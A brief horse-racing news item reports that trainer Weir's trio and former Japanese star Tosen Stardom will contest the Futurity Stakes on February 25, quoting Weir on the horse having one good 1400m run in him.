Weir’s trio will contest the Futurity Stakes on February 25 and will be joined by former Japanese star Tosen Stardom. “I think (Tosen Stardom has) got one good 1400m run in him so we’ve decided to wait for the Futurity,” Weir said.

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